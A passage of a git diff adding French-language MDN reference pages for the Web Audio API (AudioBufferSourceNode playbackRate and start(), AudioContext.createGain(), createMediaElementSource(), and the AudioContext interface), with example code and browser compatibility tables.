+ <li>un <code>playbackRate</code> de 2.0 entraîne une lecture au double de la vitesse originale : 88,200 Hz.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, la fonction {{domxref("AudioContext.decodeAudioData")}} est utilisée pour décoder une piste audio et la mettre dans un {{domxref("AudioBufferSourceNode")}}. L'interface fournit deux boutons pour démarrer et arrêter la lecture, et des sliders pour modifier les propriétés <code>playbackRate</code>, <code>loopStart</code> et <code>loopEnd</code> à la volée.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Voir <a class="external external-icon" href="http://mdn.github.io/decode-audio-data/"> l'exemple complet</a> et <a class="external external-icon" href="https://github.com/mdn/decode-audio-data">son code source</a>.</p>
+</div>
+
+<pre class="brush: html">&lt;input class="playback-rate-control" type="range" min="0.25" max="3" step="0.05" value="1"&gt;
+&lt;span class="playback-rate-value"&gt;1.0&lt;/span&gt;
+</pre>
+
+<pre class="brush: js;highlight[15]">function getData() {
+  source = contexteAudio.createBufferSource();
+  requete = new XMLHttpRequest();
+
+  requete.open('GET', 'viper.ogg', true);
+
+  requete.responseType = 'arraybuffer';
+
+
+  requete.onload = function() {
+    var donneesAudio = requete.response;
+
+    contexteAudio.decodeAudioData(donneesAudio, function(buffer) {
+        maMemoireTampon = buffer;
+        dureeMorceau = buffer.duration;
+        source.buffer = maMemoireTampon;
+        source.playbackRate.value = playbackControl.value;
+        source.connect(contexteAudio.destination);
+        source.loop = true;
+
+        loopstartControl.setAttribute('max', Math.floor(dureeMorceau));
+        loopendControl.setAttribute('max', Math.floor(dureeMorceau));
+      },
+
+      function(e){"Erreur lors du décodage des données audio " + e.err});
+
+  }
+
+  requete.send();
+}
+
+// connecte les boutons pour lancer et arrêter la lecture, et modifier la vitesse de lecture
+
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+  playbackControl.removeAttribute('disabled');
+}
+
+stop.onclick = function() {
+  source.stop(0);
+  play.removeAttribute('disabled');
+  playbackControl.setAttribute('disabled', 'disabled');
+}
+
+playbackControl.oninput = function() {
+  source.playbackRate.value = playbackControl.value;
+  playbackValue.innerHTML = playbackControl.value;
+}</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-playbackRate', 'playbackRate')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Lecture inversée avec playbackRate &lt; 0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Lecture inversée avec playbackRate &lt; 0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiobuffersourcenode/start/index.html b/files/fr/web/api/audiobuffersourcenode/start/index.html
new file mode 100644
index 0000000000..a92ef12caa
--- /dev/null
+++ b/files/fr/web/api/audiobuffersourcenode/start/index.html
@@ -0,0 +1,140 @@
+---
+title: AudioBufferSourceNode.start()
+slug: Web/API/AudioBufferSourceNode/start
+translation_of: Web/API/AudioBufferSourceNode/start
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La méthode <code>start()</code> de l'interface {{ domxref("AudioBufferSourceNode") }} permet de planifier la lecture du buffer audio.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>AudioBufferSourceNode</em>.start([<em>when</em>][, <em>offset</em>][, <em>duration</em>]);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>when {{optional_inline}}</dt>
+ <dd>Le paramètre <code>when</code> indique <em>à quel moment</em> la lecture doit commencer. Si <code>when</code> représente une date passée, la lecture commence immédiatement. Si la méthode est invoquée plus d'une fois, ou après un appel à <code>AudioBufferSourceNode.stop()</code>, une exception est levée.<br>
+ Le temps, en secondes, auquel la lecture doit commencer, spécifié dans le même systèmes de coordonnées temporalles utilisé par {{domxref("AudioContext")}}. Si <code>when</code> est inférieur à ({{domxref("AudioContext.currentTime")}}, ou égal à 0, la lecture commence immédiatement. <strong>La valeur par défaut est 0.</strong></dd>
+ <dt>offset {{optional_inline}}</dt>
+ <dd>Décalage, en secondes, indiquant où la lecture doit commencer. Par example, pour lancer la lecture au milieu d'un son durant 10 secondes, l'<code>offset</code> doit être 5. La valeur par défaut, 0, démarre la lecture au début du buffer. Les valeurs supérieures à la fin du son sont silencieusement ajustées à la valeur maximum possible (basée sur les propriétés {{domxref("AudioBuffer.duration", "duration")}} et/ou {{domxref("AudioBufferSourceNode.loopEnd", "loopEnd")}}). Le calcul du décalage se fait en utilisant le taux d'échantillonnage original, donc même lorsqu'un son est lu au double de sa vitesse, le milieu d'un buffer de 10 secondes est toujours 5.</dd>
+ <dt>duration {{optional_inline}}</dt>
+ <dd>Le paramètre <code>duration</code>, dont la valeur par défaut est la longueur du contenu moins le décalage (offset) du début de lecture, indique la longueur du contenu audio qui doit être lue.<br>
+ Durée du son qui doit être lue, en secondes. Si ce paramètre n'est pas spécifié ou a pour valeur 0 (valeur par défaut), le son est lu jusqu'à la fin, s'il n'est pas arrêté par la méthode {{domxref("AudioScheduledSourceNode.stop", "stop()")}}. L'utilisation de ce paramètre est fonctionellement équivalente à l'appel de la méthode <code>start(when, offset)</code> suivi de la méthode <code>stop(when+duration)</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>TypeError</code></dt>
+ <dd>Une valeur négative a été spécifiée pour au moins l'un des trois paramètres de temps. N'essayez pas de trafiquer les lois de la physique.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd><code>start()</code> a déjà été appelé. Cette fonction ne peut être appelée qu'une seule fois pour chaque <code>AudioBufferSourceNode</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple le plus simple lance la lecture du buffer audio depuis le début - inutile de spécifier des paramètres dans ce cas:</p>
+
+<pre class="brush: js">source.start();</pre>
+
+<p>L'exemple suivant, plus complexe, jouera, après une seconde de pause, un tronçon d'une durée de 10 secondes à partir de la 3ème seconde des données en mémoire.</p>
+
+<pre class="brush: js">source.start(contexteAudio.currentTime + 1,3,10);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Pour un exemple plus complexe montrant la méthode <code>start()</code> en action, consulter l'exemple {{domxref("AudioContext.decodeAudioData")}}. Voir aussi <a class="external external-icon" href="http://mdn.github.io/decode-audio-data/"> l'exemple complet</a> et <a class="external external-icon" href="https://github.com/mdn/decode-audio-data">son code source</a>.</p>
+</div>
+
+<dl>
+</dl>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-start-void-double-when-double-offset-double-duration', 'start()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiocontext/creategain/index.html b/files/fr/web/api/audiocontext/creategain/index.html
new file mode 100644
index 0000000000..b9142efffc
--- /dev/null
+++ b/files/fr/web/api/audiocontext/creategain/index.html
@@ -0,0 +1,167 @@
+---
+title: AudioContext.createGain()
+slug: Web/API/AudioContext/createGain
+tags:
+  - API
+  - Audio
+  - AudioContext
+  - Contrôle du volume
+  - Méthode
+  - Son
+  - Volume
+  - Web Audio
+  - createGain
+translation_of: Web/API/BaseAudioContext/createGain
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La méthode createGain de l'interface {{ domxref("AudioContext") }} crée un {{ domxref("GainNode") }} qui peut être utilisé pour contrôler le volume global du graphe audio.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var contexteAudio = new AudioContext();
+var gainNode = contexteAudio.createGain();</pre>
+
+<h3 id="Description" name="Description">Retourne</h3>
+
+<p>Un {{domxref("GainNode")}} qui prend en entrée une ou plusieurs sources audio et en sortie un son dont le volume a été ajusté à un niveau indiqué par le paramètre de type <a href="https://developer.mozilla.org/en-US/docs/Web/API/AudioParam#a-rate">a-rate</a> {{domxref("GainNode.gain")}}.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>L'exemple suivant montre l'utilisation d'un {{domxref("AudioContext")}} pour créer un {{ domxref("GainNode") }}, qui sert à activer et désactiver le son au clic d'un bouton, en changeant la valeur de la propriété gain.<br>
+ <br>
+ L'extrait de code ci-dessous ne fonctionne pas tel quel - pour un exemple complet qui fonctionne, consulter la démo <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a> (<a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js">et son code source</a>.)</p>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;button class="boutonson"&gt;Mute button&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: js">var contexteAudio = new (window.AudioContext || window.webkitAudioContext)();
+var gainNode = contexteAudio.createGain();
+var boutonSon = document.querySelector('.boutonson'),
+    source;
+
+if (navigator.getUserMedia) {
+  navigator.getUserMedia (
+    // contraintes - cette app nécessite seulement l'audio
+    {
+       audio: true
+    },
+    // fonction de rappel en cas de succès
+    function (flux) {
+        source = contexteAudio.createMediaStreamSource(flux);
+    },
+    // fonction de rappel en cas d'erreur
+    function (erreur) {
+        console.log("L'erreur à la noix suivante vient de se produire : " + erreur);
+    });
+}
+else {
+    console.log("getUserMedia n'est pas supporté par votre navigateur !");
+}
+
+source.connect(gainNode);
+gainNode.connect(contexteAudio.destination);
+
+  ...
+
+boutonSon.onclick = couperSon;
+
+function couperSon () {
+    if (boutonSon.id == "") {
+        gainNode.gain.value = 0;
+        boutonSon.id = "activated";
+        boutonSon.innerHTML = "Activer le son";
+    }
+    else {
+        gainNode.gain.value = 1;
+        boutonSon.id = "";
+        boutonSon.innerHTML = "Couper le son";
+    }
+}</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioContext-createGain-GainNode', 'createGain()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiocontext/createmediaelementsource/index.html b/files/fr/web/api/audiocontext/createmediaelementsource/index.html
new file mode 100644
index 0000000000..ae1878798d
--- /dev/null
+++ b/files/fr/web/api/audiocontext/createmediaelementsource/index.html
@@ -0,0 +1,108 @@
+---
+title: AudioContext.createMediaElementSource()
+slug: Web/API/AudioContext/createMediaElementSource
+translation_of: Web/API/AudioContext/createMediaElementSource
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>La méthode <code>createMediaElementSource()</code> de l’interface {{ domxref("AudioContext") }} est utilisée pour créer un nouvel objet {{ domxref("MediaElementAudioSourceNode") }} d’après un élément HTML {{ htmlelement("audio") }} ou {{ htmlelement("video") }} existant, permettant ainsi de jouer et de manipuler l’audio de cet élément.</p>
+</div>
+
+<p>Pour plus de détails à propos des nœuds source audio des éléments média, constultez la page de référence de {{ domxref("MediaElementAudioSourceNode") }}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+var source = audioCtx.createMediaElementSource(myMediaElement);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>myMediaElement</code></dt>
+ <dd>Un objet {{domxref("HTMLMediaElement")}} que vous voulez injecter dans un graphe de traitement audio pour le manipuler.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{domxref("MediaElementAudioSourceNode")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple simple crée une source depuis un élément {{ htmlelement("audio") }} grâce à <code>createMediaElementSource()</code>, puis passe le signal audio à travers un {{ domxref("GainNode") }} avant de l’injecter dans le {{ domxref("AudioDestinationNode") }} pour la lecture. Quand le pointeur de la souris est déplacé, la fonction <code>updatePage()</code> est invoquée, et calcule le gain actuel comme rapport de la position Y de la souris divisée par la hauteur totale de la fenêtre. Vous pouvez ainsi augmenter ou diminuer le volume de la musique jouée, en déplaçant le pointeur de la souris vers le haut ou vers le bas.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Vous pouvez également <a href="http://mdn.github.io/webaudio-examples/media-source-buffer/">voir cet exemple en temps réel</a>, ou <a href="https://github.com/mdn/webaudio-examples/tree/master/media-source-buffer">examiner le code source</a>.</p>
+</div>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var myAudio = document.querySelector('audio');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Crée un MediaElementAudioSourceNode
+// et y injecte le HTMLMediaElement
+var source = audioCtx.createMediaElementSource(myAudio);
+
+// Crée un nœud gain
+var gainNode = audioCtx.createGain();
+
+// Crée les variables pour stocker la position Y du pointeur
+// et la HAUTEUR de l’écran
+var CurY;
+var HEIGHT = window.innerHeight;
+
+// Récupère les nouvelles coordonnées du pointeur quand la souris est déplacée
+// et définit la nouvelle valeur de gain
+
+document.onmousemove = updatePage;
+
+function updatePage(e) {
+    CurY = (window.Event) ? e.pageY : event.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+
+    gainNode.gain.value = CurY/HEIGHT;
+}
+
+
+// connecte le AudioBufferSourceNode au nœud gain
+// et le nœud gain à la destination, de sorte qu’on puisse jouer la
+// musique et ajuster le volume avec le curseur de la souris
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Du fait de l’appel à <code>createMediaElementSource()</code>, la lecture de l’audio du {{ domxref("HTMLMediaElement") }} est redirigée dans le graphe de traitement de l’AudioContext. Ainsi, jouer / mettre en pause le média est toujours possible via l’API des éléments média ou via les contrôles du lecteur.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioContext-createMediaElementSource-MediaElementAudioSourceNode-HTMLMediaElement-mediaElement', 'createMediaElementSource()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité dans cette page est généré depuis des données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.AudioContext.createMediaElementSource")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Utiliser la Web Audio API</a></li>
+</ul>
diff --git a/files/fr/web/api/audiocontext/index.html b/files/fr/web/api/audiocontext/index.html
new file mode 100644
index 0000000000..f6a38fa8bd
--- /dev/null
+++ b/files/fr/web/api/audiocontext/index.html
@@ -0,0 +1,308 @@
+---
+title: AudioContext
+slug: Web/API/AudioContext
+tags:
+  - API
+  - Audio
+  - Buffer
+  - Experimental
+  - Reference
+  - Web Audio API
+translation_of: Web/API/AudioContext
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p>L'interface AudioContext représente un graphe de traitement audio fait de modules audio reliés entre eux, chaque module correspondant à un {{domxref ("AudioNode")}}. Un contexte audio contrôle à la fois la création des nœuds qu'il contient et l'exécution du traitement audio, ou du décodage. On commence toujours par créer un contexte audio, et tout ce qui va se passer ensuite se situera dans ce contexte.</p>
+
+<p>Un contexte audio peut être la cible d'événements, par conséquent il implémente l'interface {{domxref ("EventTarget")}}.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.AudioContext", "AudioContext()")}}</dt>
+ <dd>Crée et retourne un nouvel objet <code>AudioContext</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.currentTime")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un double flottant, qui représente un temps en secondes en augmentation continue, utilisé pour situer dans le temps. Il commence à <code>0</code>.</dd>
+ <dt>{{domxref("AudioContext.destination")}} {{readonlyInline}}</dt>
+ <dd>Retourne un {{domxref ("AudioDestinationNode")}} représentant la destination finale de tous les fichiers audio dans un contexte. On peut le considérer comme un dispositif de rendu audio.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioContext.listener")}} {{readonlyInline}}</dt>
+ <dd>Renvoie l'objet {{domxref("AudioListener")}}, utilisé pour la spatialisation 3D.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioContext.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un nombre flottant représentant la fréquence d'échantillonnage (échantillons par seconde) utilisée par tous les nœuds dans ce contexte.La fréquence d'échantillonnage d'un contexte audio ne peut pas être modifiée.</dd>
+ <dt>{{domxref("AudioContext.state")}} {{readonlyInline}}</dt>
+ <dd>Renvoie l'état actuel du contexte audio.</dd>
+ <dt>{{domxref("AudioContext.mozAudioChannelType")}} {{ non-standard_inline() }} {{readonlyInline}}</dt>
+ <dd>Sur Firefox OS, utilisé pour renvoyer la piste audio dans laquelle sera jouée le son qui sera lancé dans le contexte audio.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("AudioContext.onstatechange")}}</dt>
+ <dd>Un gestionnaire d'évènement déclenché par un évènement du type {{event("statechange")}}. Cela a lieu quand l'état du contexte audio change, en raison de l'appel des méthodes de changement d'état ({{domxref("AudioContext.suspend")}}, {{domxref("AudioContext.resume")}}, ou {{domxref("AudioContext.close")}}.)</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Met également en œuvre des méthodes de l'interface {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("AudioContext.close()")}}</dt>
+ <dd>Supprime le contexte audio, et libère toutes les ressources audio système qu'il utilisait.</dd>
+ <dt>{{domxref("AudioContext.createBuffer()")}}</dt>
+ <dd>Crée un nouvel objet {{domxref ("AudioBuffer")}} vide, auquel on pourra assigner des données et que l'on pourra jouer via un {{ domxref("AudioBufferSourceNode") }}</dd>
+ <dt>{{domxref("AudioContext.createBufferSource()")}}</dt>
+ <dd>Crée un objet {{domxref ("AudioBufferSourceNode")}}, qui peut être utilisé pour jouer et manipuler des données audio contenues dans un objet {{domxref("AudioBuffer")}}. Les {{domxref("AudioBuffer")}}s sont créés avec la fonction {{domxref("AudioContext.createBuffer")}} ou retournés par la fonction {{domxref("AudioContext.decodeAudioData")}} quand elle décode une piste audio avec succès.</dd>
+ <dt>{{domxref("AudioContext.createMediaElementSource()")}}</dt>
+ <dd>Crée un objet {{domxref ("MediaElementAudioSourceNode")}} associé à {{domxref ("HTMLMediaElement")}}. Il peut être utilisé pour manipuler le son d'éléments {{HTMLElement("video")}} ou {{HTMLElement("audio")}}.</dd>
+ <dt>{{domxref("AudioContext.createMediaStreamSource()")}}</dt>
+ <dd>Crée un objet {{domxref ("MediaStreamAudioSourceNode")}} associé à un {{domxref ("MediaStream")}} correspondant à un flux audio, qui peut provenir du microphone de l'ordinateur local ou d'autres sources.</dd>
+ <dt>{{domxref("AudioContext.createMediaStreamDestination()")}}</dt>
+ <dd>Crée un objet {{domxref ("MediaStreamAudioDestinationNode")}} associé à un {{domxref ("MediaStream")}} correspondant à un flux audio, qui peut être stocké dans un fichier local ou envoyé à un autre ordinateur.</dd>
+ <dt>{{domxref("AudioContext.createScriptProcessor()")}}</dt>
+ <dd>Crée un objet {{domxref ("ScriptProcessorNode")}} qui sert à faire du traitement audio directement avec JavaScript.</dd>
+ <dt>{{domxref("AudioContext.createStereoPanner()")}}</dt>
+ <dd>Crée un objet {{domxref ("StereoPannerNode")}} qui permet d'appliquer une panoramique sonore à une source audio.</dd>
+ <dt>{{domxref("AudioContext.createAnalyser()")}}</dt>
+ <dd>Crée un objet {{domxref ("AnalyserNode")}} qui expose les données de temps et de fréquence, et peut être utilisé pour créer des visualisations de données.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioContext.createBiquadFilter()")}}</dt>
+ <dd>Crée un objet {{domxref ("BiquadFilterNode")}}, qui représente un filtre de deuxième niveau, qui combine différents types de filtres de base : fréquences hautes, fréquences basses, passe-bande, etc.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioContext.createChannelMerger()")}}</dt>
+ <dd>Crée un objet {{domxref ("ChannelMergerNode")}} qui permet de rassembler les canaux de différents flux audio en un seul flux.</dd>
+ <dt>{{domxref("AudioContext.createChannelSplitter()")}}</dt>
+ <dd>Crée un objet {{domxref ("ChannelSplitterNode")}} utilisé pour accéder aux différents canaux d'un même flux audio et les traiter séparément.</dd>
+ <dt>{{domxref("AudioContext.createConvolver()")}}</dt>
+ <dd>Crée un objet {{domxref ("ConvolverNode")}}, qui permet d'appliquer des effets de convolution à un graphe audio, par exemple un effet de réverb.</dd>
+ <dt>{{domxref("AudioContext.createDelay()")}}</dt>
+ <dd>Crée un objet {{domxref ("DelayNode")}}, utilisé pour retarder le signal audio entrant d'un certain temps. Il est également </dd>
+ <dt>{{domxref("AudioContext.createDynamicsCompressor()")}}</dt>
+ <dd>Crée un objet {{domxref("DynamicsCompressorNode")}} qui permet d'appliquer une compression sur un signal audio.</dd>
+ <dt>{{domxref("AudioContext.createGain()")}}</dt>
+ <dd>Crée un objet {{domxref ("GainNode")}} qui permet de controller le niveau sonore global d'un graphe audio.</dd>
+ <dt>{{domxref("AudioContext.createIIRFilter()")}}</dt>
+ <dd>Crée un objet {{domxref("IIRFilterNode")}}, qui représente un filtre de second ordre configurable comme différents types de filtres communs.</dd>
+ <dt>{{domxref("AudioContext.createOscillator()")}}</dt>
+ <dd>Crée un objet {{domxref("OscillatorNode")}} qui représente une onde périodique. Il génère simplement un son.</dd>
+ <dt>{{domxref("AudioContext.createPanner()")}}</dt>
+ <dd>Crée un objet {{domxref("PannerNode")}} utilisé pour spatialiser une source audio entrante dans un espace 3D.</dd>
+ <dt>{{domxref("AudioContext.createPeriodicWave()")}}</dt>
+ <dd>Crée un objet {{domxref("PeriodicWave")}}, utilisé pour définir une onde périodique qui peut être utilisée pour contrôler la sortie d'un {{ domxref("OscillatorNode") }}.</dd>
+ <dt>{{domxref("AudioContext.createWaveShaper()")}}</dt>
+ <dd>Crée un objet {{domxref ("WaveShaperNode")}}, qui permet d'implémenter des effets de distorsion non linéaires.</dd>
+ <dt>{{domxref("AudioContext.createAudioWorker()")}}</dt>
+ <dd>Crée un objet {{domxref("AudioWorkerNode")}}, qui permet d'interagir avec un thread web worker afin de générer, traiter, ou analyser le son directement. Ajouté à la spec le 29 août 2014, mais encore implémenté par aucun des navigateurs à ce jour.</dd>
+ <dt>{{domxref("AudioContext.decodeAudioData()")}}</dt>
